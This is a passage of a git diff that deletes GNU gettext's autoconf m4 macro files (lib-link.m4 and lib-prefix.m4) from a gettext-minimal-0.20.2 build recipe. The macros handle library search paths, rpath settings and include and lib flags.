- *" -l"*) LIBS="$LIBS $LIB[]NAME" ;;
- *) LIBS="$LIB[]NAME $LIBS" ;;
- esac
- AC_LINK_IFELSE(
- [AC_LANG_PROGRAM([[$3]], [[$4]])],
- [ac_cv_lib[]Name=yes],
- [ac_cv_lib[]Name='m4_if([$5], [], [no], [[$5]])'])
- LIBS="$ac_save_LIBS"
- ])
- if test "$ac_cv_lib[]Name" = yes; then
- HAVE_LIB[]NAME=yes
- AC_DEFINE([HAVE_LIB]NAME, 1, [Define if you have the lib][$1 library.])
- AC_MSG_CHECKING([how to link with lib[]$1])
- AC_MSG_RESULT([$LIB[]NAME])
- else
- HAVE_LIB[]NAME=no
- dnl If $LIB[]NAME didn't lead to a usable library, we don't need
- dnl $INC[]NAME either.
- CPPFLAGS="$ac_save_CPPFLAGS"
- LIB[]NAME=
- LTLIB[]NAME=
- LIB[]NAME[]_PREFIX=
- fi
- AC_SUBST([HAVE_LIB]NAME)
- AC_SUBST([LIB]NAME)
- AC_SUBST([LTLIB]NAME)
- AC_SUBST([LIB]NAME[_PREFIX])
- popdef([NAME])
- popdef([Name])
-])
-
-dnl Determine the platform dependent parameters needed to use rpath:
-dnl acl_libext,
-dnl acl_shlibext,
-dnl acl_libname_spec,
-dnl acl_library_names_spec,
-dnl acl_hardcode_libdir_flag_spec,
-dnl acl_hardcode_libdir_separator,
-dnl acl_hardcode_direct,
-dnl acl_hardcode_minus_L.
-AC_DEFUN([AC_LIB_RPATH],
-[
- dnl Complain if config.rpath is missing.
- AC_REQUIRE_AUX_FILE([config.rpath])
- AC_REQUIRE([AC_PROG_CC]) dnl we use $CC, $GCC, $LDFLAGS
- AC_REQUIRE([AC_LIB_PROG_LD]) dnl we use $LD, $with_gnu_ld
- AC_REQUIRE([AC_CANONICAL_HOST]) dnl we use $host
- AC_REQUIRE([AC_CONFIG_AUX_DIR_DEFAULT]) dnl we use $ac_aux_dir
- AC_CACHE_CHECK([for shared library run path origin], [acl_cv_rpath], [
- CC="$CC" GCC="$GCC" LDFLAGS="$LDFLAGS" LD="$LD" with_gnu_ld="$with_gnu_ld" \
- ${CONFIG_SHELL-/bin/sh} "$ac_aux_dir/config.rpath" "$host" > conftest.sh
- . ./conftest.sh
- rm -f ./conftest.sh
- acl_cv_rpath=done
- ])
- wl="$acl_cv_wl"
- acl_libext="$acl_cv_libext"
- acl_shlibext="$acl_cv_shlibext"
- acl_libname_spec="$acl_cv_libname_spec"
- acl_library_names_spec="$acl_cv_library_names_spec"
- acl_hardcode_libdir_flag_spec="$acl_cv_hardcode_libdir_flag_spec"
- acl_hardcode_libdir_separator="$acl_cv_hardcode_libdir_separator"
- acl_hardcode_direct="$acl_cv_hardcode_direct"
- acl_hardcode_minus_L="$acl_cv_hardcode_minus_L"
- dnl Determine whether the user wants rpath handling at all.
- AC_ARG_ENABLE([rpath],
- [ --disable-rpath do not hardcode runtime library paths],
- :, enable_rpath=yes)
-])
-
-dnl AC_LIB_FROMPACKAGE(name, package)
-dnl declares that libname comes from the given package. The configure file
-dnl will then not have a --with-libname-prefix option but a
-dnl --with-package-prefix option. Several libraries can come from the same
-dnl package. This declaration must occur before an AC_LIB_LINKFLAGS or similar
-dnl macro call that searches for libname.
-AC_DEFUN([AC_LIB_FROMPACKAGE],
-[
- pushdef([NAME],[m4_translit([$1],[abcdefghijklmnopqrstuvwxyz./+-],
- [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])])
- define([acl_frompackage_]NAME, [$2])
- popdef([NAME])
- pushdef([PACK],[$2])
- pushdef([PACKUP],[m4_translit(PACK,[abcdefghijklmnopqrstuvwxyz./+-],
- [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])])
- define([acl_libsinpackage_]PACKUP,
- m4_ifdef([acl_libsinpackage_]PACKUP, [m4_defn([acl_libsinpackage_]PACKUP)[, ]],)[lib$1])
- popdef([PACKUP])
- popdef([PACK])
-])
-
-dnl AC_LIB_LINKFLAGS_BODY(name [, dependencies]) searches for libname and
-dnl the libraries corresponding to explicit and implicit dependencies.
-dnl Sets the LIB${NAME}, LTLIB${NAME} and INC${NAME} variables.
-dnl Also, sets the LIB${NAME}_PREFIX variable to nonempty if libname was found
-dnl in ${LIB${NAME}_PREFIX}/$acl_libdirstem.
-AC_DEFUN([AC_LIB_LINKFLAGS_BODY],
-[
- AC_REQUIRE([AC_LIB_PREPARE_MULTILIB])
- pushdef([NAME],[m4_translit([$1],[abcdefghijklmnopqrstuvwxyz./+-],
- [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])])
- pushdef([PACK],[m4_ifdef([acl_frompackage_]NAME, [acl_frompackage_]NAME, lib[$1])])
- pushdef([PACKUP],[m4_translit(PACK,[abcdefghijklmnopqrstuvwxyz./+-],
- [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])])
- pushdef([PACKLIBS],[m4_ifdef([acl_frompackage_]NAME, [acl_libsinpackage_]PACKUP, lib[$1])])
- dnl By default, look in $includedir and $libdir.
- use_additional=yes
- AC_LIB_WITH_FINAL_PREFIX([
- eval additional_includedir=\"$includedir\"
- eval additional_libdir=\"$libdir\"
- eval additional_libdir2=\"$exec_prefix/$acl_libdirstem2\"
- eval additional_libdir3=\"$exec_prefix/$acl_libdirstem3\"
- ])
- AC_ARG_WITH(PACK[-prefix],
-[[ --with-]]PACK[[-prefix[=DIR] search for ]PACKLIBS[ in DIR/include and DIR/lib
- --without-]]PACK[[-prefix don't search for ]PACKLIBS[ in includedir and libdir]],
-[
- if test "X$withval" = "Xno"; then
- use_additional=no
- else
- if test "X$withval" = "X"; then
- AC_LIB_WITH_FINAL_PREFIX([
- eval additional_includedir=\"$includedir\"
- eval additional_libdir=\"$libdir\"
- eval additional_libdir2=\"$exec_prefix/$acl_libdirstem2\"
- eval additional_libdir3=\"$exec_prefix/$acl_libdirstem3\"
- ])
- else
- additional_includedir="$withval/include"
- additional_libdir="$withval/$acl_libdirstem"
- additional_libdir2="$withval/$acl_libdirstem2"
- additional_libdir3="$withval/$acl_libdirstem3"
- fi
- fi
-])
- if test "X$additional_libdir2" = "X$additional_libdir"; then
- additional_libdir2=
- fi
- if test "X$additional_libdir3" = "X$additional_libdir"; then
- additional_libdir3=
- fi
- dnl Search the library and its dependencies in $additional_libdir and
- dnl $LDFLAGS. Using breadth-first-seach.
- LIB[]NAME=
- LTLIB[]NAME=
- INC[]NAME=
- LIB[]NAME[]_PREFIX=
- dnl HAVE_LIB${NAME} is an indicator that LIB${NAME}, LTLIB${NAME} have been
- dnl computed. So it has to be reset here.
- HAVE_LIB[]NAME=
- rpathdirs=
- ltrpathdirs=
- names_already_handled=
- names_next_round='$1 $2'
- while test -n "$names_next_round"; do
- names_this_round="$names_next_round"
- names_next_round=
- for name in $names_this_round; do
- already_handled=
- for n in $names_already_handled; do
- if test "$n" = "$name"; then
- already_handled=yes
- break
- fi
- done
- if test -z "$already_handled"; then
- names_already_handled="$names_already_handled $name"
- dnl See if it was already located by an earlier AC_LIB_LINKFLAGS
- dnl or AC_LIB_HAVE_LINKFLAGS call.
- uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./+-|ABCDEFGHIJKLMNOPQRSTUVWXYZ____|'`
- eval value=\"\$HAVE_LIB$uppername\"
- if test -n "$value"; then
- if test "$value" = yes; then
- eval value=\"\$LIB$uppername\"
- test -z "$value" || LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$value"
- eval value=\"\$LTLIB$uppername\"
- test -z "$value" || LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }$value"
- else
- dnl An earlier call to AC_LIB_HAVE_LINKFLAGS has determined
- dnl that this library doesn't exist. So just drop it.
- :
- fi
- else
- dnl Search the library lib$name in $additional_libdir and $LDFLAGS
- dnl and the already constructed $LIBNAME/$LTLIBNAME.
- found_dir=
- found_la=
- found_so=
- found_a=
- eval libname=\"$acl_libname_spec\" # typically: libname=lib$name
- if test -n "$acl_shlibext"; then
- shrext=".$acl_shlibext" # typically: shrext=.so
- else
- shrext=
- fi
- if test $use_additional = yes; then
- for additional_libdir_variable in additional_libdir additional_libdir2 additional_libdir3; do
- if test "X$found_dir" = "X"; then
- eval dir=\$$additional_libdir_variable
- if test -n "$dir"; then
- dnl The same code as in the loop below:
- dnl First look for a shared library.
- if test -n "$acl_shlibext"; then
- if test -f "$dir/$libname$shrext" && acl_is_expected_elfclass < "$dir/$libname$shrext"; then
- found_dir="$dir"
- found_so="$dir/$libname$shrext"
- else
- if test "$acl_library_names_spec" = '$libname$shrext$versuffix'; then
- ver=`(cd "$dir" && \
- for f in "$libname$shrext".*; do echo "$f"; done \
- | sed -e "s,^$libname$shrext\\\\.,," \
- | sort -t '.' -n -r -k1,1 -k2,2 -k3,3 -k4,4 -k5,5 \
- | sed 1q ) 2>/dev/null`
- if test -n "$ver" && test -f "$dir/$libname$shrext.$ver" && acl_is_expected_elfclass < "$dir/$libname$shrext.$ver"; then
- found_dir="$dir"
- found_so="$dir/$libname$shrext.$ver"
- fi
- else
- eval library_names=\"$acl_library_names_spec\"
- for f in $library_names; do
- if test -f "$dir/$f" && acl_is_expected_elfclass < "$dir/$f"; then
- found_dir="$dir"
- found_so="$dir/$f"
- break
- fi
- done
- fi
- fi
- fi
- dnl Then look for a static library.
- if test "X$found_dir" = "X"; then
- if test -f "$dir/$libname.$acl_libext" && ${AR-ar} -p "$dir/$libname.$acl_libext" | acl_is_expected_elfclass; then
- found_dir="$dir"
- found_a="$dir/$libname.$acl_libext"
- fi
- fi
- if test "X$found_dir" != "X"; then
- if test -f "$dir/$libname.la"; then
- found_la="$dir/$libname.la"
- fi
- fi
- fi
- fi
- done
- fi
- if test "X$found_dir" = "X"; then
- for x in $LDFLAGS $LTLIB[]NAME; do
- AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
- case "$x" in
- -L*)
- dir=`echo "X$x" | sed -e 's/^X-L//'`
- dnl First look for a shared library.
- if test -n "$acl_shlibext"; then
- if test -f "$dir/$libname$shrext" && acl_is_expected_elfclass < "$dir/$libname$shrext"; then
- found_dir="$dir"
- found_so="$dir/$libname$shrext"
- else
- if test "$acl_library_names_spec" = '$libname$shrext$versuffix'; then
- ver=`(cd "$dir" && \
- for f in "$libname$shrext".*; do echo "$f"; done \
- | sed -e "s,^$libname$shrext\\\\.,," \
- | sort -t '.' -n -r -k1,1 -k2,2 -k3,3 -k4,4 -k5,5 \
- | sed 1q ) 2>/dev/null`
- if test -n "$ver" && test -f "$dir/$libname$shrext.$ver" && acl_is_expected_elfclass < "$dir/$libname$shrext.$ver"; then
- found_dir="$dir"
- found_so="$dir/$libname$shrext.$ver"
- fi
- else
- eval library_names=\"$acl_library_names_spec\"
- for f in $library_names; do
- if test -f "$dir/$f" && acl_is_expected_elfclass < "$dir/$f"; then
- found_dir="$dir"
- found_so="$dir/$f"
- break
- fi
- done
- fi
- fi
- fi
- dnl Then look for a static library.
- if test "X$found_dir" = "X"; then
- if test -f "$dir/$libname.$acl_libext" && ${AR-ar} -p "$dir/$libname.$acl_libext" | acl_is_expected_elfclass; then
- found_dir="$dir"
- found_a="$dir/$libname.$acl_libext"
- fi
- fi
- if test "X$found_dir" != "X"; then
- if test -f "$dir/$libname.la"; then
- found_la="$dir/$libname.la"
- fi
- fi
- ;;
- esac
- if test "X$found_dir" != "X"; then
- break
- fi
- done
- fi
- if test "X$found_dir" != "X"; then
- dnl Found the library.
- LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-L$found_dir -l$name"
- if test "X$found_so" != "X"; then
- dnl Linking with a shared library. We attempt to hardcode its
- dnl directory into the executable's runpath, unless it's the
- dnl standard /usr/lib.
- if test "$enable_rpath" = no \
- || test "X$found_dir" = "X/usr/$acl_libdirstem" \
- || test "X$found_dir" = "X/usr/$acl_libdirstem2" \
- || test "X$found_dir" = "X/usr/$acl_libdirstem3"; then
- dnl No hardcoding is needed.
- LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so"
- else
- dnl Use an explicit option to hardcode DIR into the resulting
- dnl binary.
- dnl Potentially add DIR to ltrpathdirs.
- dnl The ltrpathdirs will be appended to $LTLIBNAME at the end.
- haveit=
- for x in $ltrpathdirs; do
- if test "X$x" = "X$found_dir"; then
- haveit=yes
- break
- fi
- done
- if test -z "$haveit"; then
- ltrpathdirs="$ltrpathdirs $found_dir"
- fi
- dnl The hardcoding into $LIBNAME is system dependent.
- if test "$acl_hardcode_direct" = yes; then
- dnl Using DIR/libNAME.so during linking hardcodes DIR into the
- dnl resulting binary.
- LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so"
- else
- if test -n "$acl_hardcode_libdir_flag_spec" && test "$acl_hardcode_minus_L" = no; then
- dnl Use an explicit option to hardcode DIR into the resulting
- dnl binary.
- LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so"
- dnl Potentially add DIR to rpathdirs.
- dnl The rpathdirs will be appended to $LIBNAME at the end.
- haveit=
- for x in $rpathdirs; do
- if test "X$x" = "X$found_dir"; then
- haveit=yes
- break
- fi
- done
- if test -z "$haveit"; then
- rpathdirs="$rpathdirs $found_dir"
- fi
- else
- dnl Rely on "-L$found_dir".
- dnl But don't add it if it's already contained in the LDFLAGS
- dnl or the already constructed $LIBNAME
- haveit=
- for x in $LDFLAGS $LIB[]NAME; do
- AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
- if test "X$x" = "X-L$found_dir"; then
- haveit=yes
- break
- fi
- done
- if test -z "$haveit"; then
- LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$found_dir"
- fi
- if test "$acl_hardcode_minus_L" != no; then
- dnl FIXME: Not sure whether we should use
- dnl "-L$found_dir -l$name" or "-L$found_dir $found_so"
- dnl here.
- LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so"
- else
- dnl We cannot use $acl_hardcode_runpath_var and LD_RUN_PATH
- dnl here, because this doesn't fit in flags passed to the
- dnl compiler. So give up. No hardcoding. This affects only
- dnl very old systems.
- dnl FIXME: Not sure whether we should use
- dnl "-L$found_dir -l$name" or "-L$found_dir $found_so"
- dnl here.
- LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-l$name"
- fi
- fi
- fi
- fi
- else
- if test "X$found_a" != "X"; then
- dnl Linking with a static library.
- LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_a"
- else
- dnl We shouldn't come here, but anyway it's good to have a
- dnl fallback.
- LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$found_dir -l$name"
- fi
- fi
- dnl Assume the include files are nearby.
- additional_includedir=
- case "$found_dir" in
- */$acl_libdirstem | */$acl_libdirstem/)
- basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem/"'*$,,'`
- if test "$name" = '$1'; then
- LIB[]NAME[]_PREFIX="$basedir"
- fi
- additional_includedir="$basedir/include"
- ;;
- */$acl_libdirstem2 | */$acl_libdirstem2/)
- basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem2/"'*$,,'`
- if test "$name" = '$1'; then
- LIB[]NAME[]_PREFIX="$basedir"
- fi
- additional_includedir="$basedir/include"
- ;;
- */$acl_libdirstem3 | */$acl_libdirstem3/)
- basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem3/"'*$,,'`
- if test "$name" = '$1'; then
- LIB[]NAME[]_PREFIX="$basedir"
- fi
- additional_includedir="$basedir/include"
- ;;
- esac
- if test "X$additional_includedir" != "X"; then
- dnl Potentially add $additional_includedir to $INCNAME.
- dnl But don't add it
- dnl 1. if it's the standard /usr/include,
- dnl 2. if it's /usr/local/include and we are using GCC on Linux,
- dnl 3. if it's already present in $CPPFLAGS or the already
- dnl constructed $INCNAME,
- dnl 4. if it doesn't exist as a directory.
- if test "X$additional_includedir" != "X/usr/include"; then
- haveit=
- if test "X$additional_includedir" = "X/usr/local/include"; then
- if test -n "$GCC"; then
- case $host_os in
- linux* | gnu* | k*bsd*-gnu) haveit=yes;;
- esac
- fi
- fi
- if test -z "$haveit"; then
- for x in $CPPFLAGS $INC[]NAME; do
- AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
- if test "X$x" = "X-I$additional_includedir"; then
- haveit=yes
- break
- fi
- done
- if test -z "$haveit"; then
- if test -d "$additional_includedir"; then
- dnl Really add $additional_includedir to $INCNAME.
- INC[]NAME="${INC[]NAME}${INC[]NAME:+ }-I$additional_includedir"
- fi
- fi
- fi
- fi
- fi
- dnl Look for dependencies.
- if test -n "$found_la"; then
- dnl Read the .la file. It defines the variables
- dnl dlname, library_names, old_library, dependency_libs, current,
- dnl age, revision, installed, dlopen, dlpreopen, libdir.
- save_libdir="$libdir"
- case "$found_la" in
- */* | *\\*) . "$found_la" ;;
- *) . "./$found_la" ;;
- esac
- libdir="$save_libdir"
- dnl We use only dependency_libs.
- for dep in $dependency_libs; do
- case "$dep" in
- -L*)
- dependency_libdir=`echo "X$dep" | sed -e 's/^X-L//'`
- dnl Potentially add $dependency_libdir to $LIBNAME and $LTLIBNAME.
- dnl But don't add it
- dnl 1. if it's the standard /usr/lib,
- dnl 2. if it's /usr/local/lib and we are using GCC on Linux,
- dnl 3. if it's already present in $LDFLAGS or the already
- dnl constructed $LIBNAME,
- dnl 4. if it doesn't exist as a directory.
- if test "X$dependency_libdir" != "X/usr/$acl_libdirstem" \
- && test "X$dependency_libdir" != "X/usr/$acl_libdirstem2" \
- && test "X$dependency_libdir" != "X/usr/$acl_libdirstem3"; then
- haveit=
- if test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem" \
- || test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem2" \
- || test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem3"; then
- if test -n "$GCC"; then
- case $host_os in
- linux* | gnu* | k*bsd*-gnu) haveit=yes;;
- esac
- fi
- fi
- if test -z "$haveit"; then
- haveit=
- for x in $LDFLAGS $LIB[]NAME; do
- AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
- if test "X$x" = "X-L$dependency_libdir"; then
- haveit=yes
- break
- fi
- done
- if test -z "$haveit"; then
- if test -d "$dependency_libdir"; then
- dnl Really add $dependency_libdir to $LIBNAME.
- LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$dependency_libdir"
- fi
- fi
- haveit=
- for x in $LDFLAGS $LTLIB[]NAME; do
- AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
- if test "X$x" = "X-L$dependency_libdir"; then
- haveit=yes
- break
- fi
- done
- if test -z "$haveit"; then
- if test -d "$dependency_libdir"; then
- dnl Really add $dependency_libdir to $LTLIBNAME.
- LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-L$dependency_libdir"
- fi
- fi
- fi
- fi
- ;;
- -R*)
- dir=`echo "X$dep" | sed -e 's/^X-R//'`
- if test "$enable_rpath" != no; then
- dnl Potentially add DIR to rpathdirs.
- dnl The rpathdirs will be appended to $LIBNAME at the end.
- haveit=
- for x in $rpathdirs; do
- if test "X$x" = "X$dir"; then
- haveit=yes
- break
- fi
- done
- if test -z "$haveit"; then
- rpathdirs="$rpathdirs $dir"
- fi
- dnl Potentially add DIR to ltrpathdirs.
- dnl The ltrpathdirs will be appended to $LTLIBNAME at the end.
- haveit=
- for x in $ltrpathdirs; do
- if test "X$x" = "X$dir"; then
- haveit=yes
- break
- fi
- done
- if test -z "$haveit"; then
- ltrpathdirs="$ltrpathdirs $dir"
- fi
- fi
- ;;
- -l*)
- dnl Handle this in the next round.
- names_next_round="$names_next_round "`echo "X$dep" | sed -e 's/^X-l//'`
- ;;
- *.la)
- dnl Handle this in the next round. Throw away the .la's
- dnl directory; it is already contained in a preceding -L
- dnl option.
- names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'`
- ;;
- *)
- dnl Most likely an immediate library name.
- LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$dep"
- LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }$dep"
- ;;
- esac
- done
- fi
- else
- dnl Didn't find the library; assume it is in the system directories
- dnl known to the linker and runtime loader. (All the system
- dnl directories known to the linker should also be known to the
- dnl runtime loader, otherwise the system is severely misconfigured.)
- LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-l$name"
- LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-l$name"
- fi
- fi
- fi
- done
- done
- if test "X$rpathdirs" != "X"; then
- if test -n "$acl_hardcode_libdir_separator"; then
- dnl Weird platform: only the last -rpath option counts, the user must
- dnl pass all path elements in one option. We can arrange that for a
- dnl single library, but not when more than one $LIBNAMEs are used.
- alldirs=
- for found_dir in $rpathdirs; do
- alldirs="${alldirs}${alldirs:+$acl_hardcode_libdir_separator}$found_dir"
- done
- dnl Note: acl_hardcode_libdir_flag_spec uses $libdir and $wl.
- acl_save_libdir="$libdir"
- libdir="$alldirs"
- eval flag=\"$acl_hardcode_libdir_flag_spec\"
- libdir="$acl_save_libdir"
- LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$flag"
- else
- dnl The -rpath options are cumulative.
- for found_dir in $rpathdirs; do
- acl_save_libdir="$libdir"
- libdir="$found_dir"
- eval flag=\"$acl_hardcode_libdir_flag_spec\"
- libdir="$acl_save_libdir"
- LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$flag"
- done
- fi
- fi
- if test "X$ltrpathdirs" != "X"; then
- dnl When using libtool, the option that works for both libraries and
- dnl executables is -R. The -R options are cumulative.
- for found_dir in $ltrpathdirs; do
- LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-R$found_dir"
- done
- fi
- popdef([PACKLIBS])
- popdef([PACKUP])
- popdef([PACK])
- popdef([NAME])
-])
-
-dnl AC_LIB_APPENDTOVAR(VAR, CONTENTS) appends the elements of CONTENTS to VAR,
-dnl unless already present in VAR.
-dnl Works only for CPPFLAGS, not for LIB* variables because that sometimes
-dnl contains two or three consecutive elements that belong together.
-AC_DEFUN([AC_LIB_APPENDTOVAR],
-[
- for element in [$2]; do
- haveit=
- for x in $[$1]; do
- AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
- if test "X$x" = "X$element"; then
- haveit=yes
- break
- fi
- done
- if test -z "$haveit"; then
- [$1]="${[$1]}${[$1]:+ }$element"
- fi
- done
-])
-
-dnl For those cases where a variable contains several -L and -l options
-dnl referring to unknown libraries and directories, this macro determines the
-dnl necessary additional linker options for the runtime path.
-dnl AC_LIB_LINKFLAGS_FROM_LIBS([LDADDVAR], [LIBSVALUE], [USE-LIBTOOL])
-dnl sets LDADDVAR to linker options needed together with LIBSVALUE.
-dnl If USE-LIBTOOL evaluates to non-empty, linking with libtool is assumed,
-dnl otherwise linking without libtool is assumed.
-AC_DEFUN([AC_LIB_LINKFLAGS_FROM_LIBS],
-[
- AC_REQUIRE([AC_LIB_RPATH])
- AC_REQUIRE([AC_LIB_PREPARE_MULTILIB])
- $1=
- if test "$enable_rpath" != no; then
- if test -n "$acl_hardcode_libdir_flag_spec" && test "$acl_hardcode_minus_L" = no; then
- dnl Use an explicit option to hardcode directories into the resulting
- dnl binary.
- rpathdirs=
- next=
- for opt in $2; do
- if test -n "$next"; then
- dir="$next"
- dnl No need to hardcode the standard /usr/lib.
- if test "X$dir" != "X/usr/$acl_libdirstem" \
- && test "X$dir" != "X/usr/$acl_libdirstem2" \
- && test "X$dir" != "X/usr/$acl_libdirstem3"; then
- rpathdirs="$rpathdirs $dir"
- fi
- next=
- else
- case $opt in
- -L) next=yes ;;
- -L*) dir=`echo "X$opt" | sed -e 's,^X-L,,'`
- dnl No need to hardcode the standard /usr/lib.
- if test "X$dir" != "X/usr/$acl_libdirstem" \
- && test "X$dir" != "X/usr/$acl_libdirstem2" \
- && test "X$dir" != "X/usr/$acl_libdirstem3"; then
- rpathdirs="$rpathdirs $dir"
- fi
- next= ;;
- *) next= ;;
- esac
- fi
- done
- if test "X$rpathdirs" != "X"; then
- if test -n ""$3""; then
- dnl libtool is used for linking. Use -R options.
- for dir in $rpathdirs; do
- $1="${$1}${$1:+ }-R$dir"
- done
- else
- dnl The linker is used for linking directly.
- if test -n "$acl_hardcode_libdir_separator"; then
- dnl Weird platform: only the last -rpath option counts, the user
- dnl must pass all path elements in one option.
- alldirs=
- for dir in $rpathdirs; do
- alldirs="${alldirs}${alldirs:+$acl_hardcode_libdir_separator}$dir"
- done
- acl_save_libdir="$libdir"
- libdir="$alldirs"
- eval flag=\"$acl_hardcode_libdir_flag_spec\"
- libdir="$acl_save_libdir"
- $1="$flag"
- else
- dnl The -rpath options are cumulative.
- for dir in $rpathdirs; do
- acl_save_libdir="$libdir"
- libdir="$dir"
- eval flag=\"$acl_hardcode_libdir_flag_spec\"
- libdir="$acl_save_libdir"
- $1="${$1}${$1:+ }$flag"
- done
- fi
- fi
- fi
- fi
- fi
- AC_SUBST([$1])
-])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/lib-prefix.m4 b/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/lib-prefix.m4
deleted file mode 100644
index c8a0b464c2..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/lib-prefix.m4
+++ /dev/null
@@ -1,320 +0,0 @@
-# lib-prefix.m4 serial 17
-dnl Copyright (C) 2001-2005, 2008-2020 Free Software Foundation, Inc.
-dnl This file is free software; the Free Software Foundation
-dnl gives unlimited permission to copy and/or distribute it,
-dnl with or without modifications, as long as this notice is preserved.
-
-dnl From Bruno Haible.
-
-dnl AC_LIB_PREFIX adds to the CPPFLAGS and LDFLAGS the flags that are needed
-dnl to access previously installed libraries. The basic assumption is that
-dnl a user will want packages to use other packages he previously installed
-dnl with the same --prefix option.
-dnl This macro is not needed if only AC_LIB_LINKFLAGS is used to locate
-dnl libraries, but is otherwise very convenient.
-AC_DEFUN([AC_LIB_PREFIX],
-[
- AC_BEFORE([$0], [AC_LIB_LINKFLAGS])
- AC_REQUIRE([AC_PROG_CC])
- AC_REQUIRE([AC_CANONICAL_HOST])
- AC_REQUIRE([AC_LIB_PREPARE_MULTILIB])
- AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
- dnl By default, look in $includedir and $libdir.
- use_additional=yes
- AC_LIB_WITH_FINAL_PREFIX([
- eval additional_includedir=\"$includedir\"
- eval additional_libdir=\"$libdir\"
- ])
- AC_ARG_WITH([lib-prefix],
-[[ --with-lib-prefix[=DIR] search for libraries in DIR/include and DIR/lib
- --without-lib-prefix don't search for libraries in includedir and libdir]],
-[
- if test "X$withval" = "Xno"; then
- use_additional=no
- else
- if test "X$withval" = "X"; then
- AC_LIB_WITH_FINAL_PREFIX([
- eval additional_includedir=\"$includedir\"
- eval additional_libdir=\"$libdir\"
- ])
- else
- additional_includedir="$withval/include"
- additional_libdir="$withval/$acl_libdirstem"
- fi
- fi
-])
- if test $use_additional = yes; then
- dnl Potentially add $additional_includedir to $CPPFLAGS.
- dnl But don't add it
- dnl 1. if it's the standard /usr/include,
- dnl 2. if it's already present in $CPPFLAGS,
- dnl 3. if it's /usr/local/include and we are using GCC on Linux,
- dnl 4. if it doesn't exist as a directory.
- if test "X$additional_includedir" != "X/usr/include"; then
- haveit=
- for x in $CPPFLAGS; do
- AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
- if test "X$x" = "X-I$additional_includedir"; then
- haveit=yes
- break
- fi
- done
- if test -z "$haveit"; then
- if test "X$additional_includedir" = "X/usr/local/include"; then
- if test -n "$GCC"; then
- case $host_os in
- linux* | gnu* | k*bsd*-gnu) haveit=yes;;
- esac
- fi
- fi
- if test -z "$haveit"; then
- if test -d "$additional_includedir"; then
- dnl Really add $additional_includedir to $CPPFLAGS.
- CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }-I$additional_includedir"
- fi
- fi
- fi
- fi
- dnl Potentially add $additional_libdir to $LDFLAGS.
- dnl But don't add it
- dnl 1. if it's the standard /usr/lib,
- dnl 2. if it's already present in $LDFLAGS,
- dnl 3. if it's /usr/local/lib and we are using GCC on Linux,
- dnl 4. if it doesn't exist as a directory.
- if test "X$additional_libdir" != "X/usr/$acl_libdirstem"; then
- haveit=
- for x in $LDFLAGS; do
- AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
- if test "X$x" = "X-L$additional_libdir"; then
- haveit=yes
- break
- fi
- done
- if test -z "$haveit"; then
- if test "X$additional_libdir" = "X/usr/local/$acl_libdirstem"; then
- if test -n "$GCC"; then
- case $host_os in
- linux*) haveit=yes;;
- esac
- fi
- fi
- if test -z "$haveit"; then
- if test -d "$additional_libdir"; then
- dnl Really add $additional_libdir to $LDFLAGS.
- LDFLAGS="${LDFLAGS}${LDFLAGS:+ }-L$additional_libdir"
- fi
- fi
- fi
- fi
- fi
-])
-
-dnl AC_LIB_PREPARE_PREFIX creates variables acl_final_prefix,
-dnl acl_final_exec_prefix, containing the values to which $prefix and
-dnl $exec_prefix will expand at the end of the configure script.
-AC_DEFUN([AC_LIB_PREPARE_PREFIX],
-[
- dnl Unfortunately, prefix and exec_prefix get only finally determined
- dnl at the end of configure.
- if test "X$prefix" = "XNONE"; then
- acl_final_prefix="$ac_default_prefix"
- else
- acl_final_prefix="$prefix"
- fi
- if test "X$exec_prefix" = "XNONE"; then
- acl_final_exec_prefix='${prefix}'
- else
- acl_final_exec_prefix="$exec_prefix"
- fi
- acl_save_prefix="$prefix"
- prefix="$acl_final_prefix"
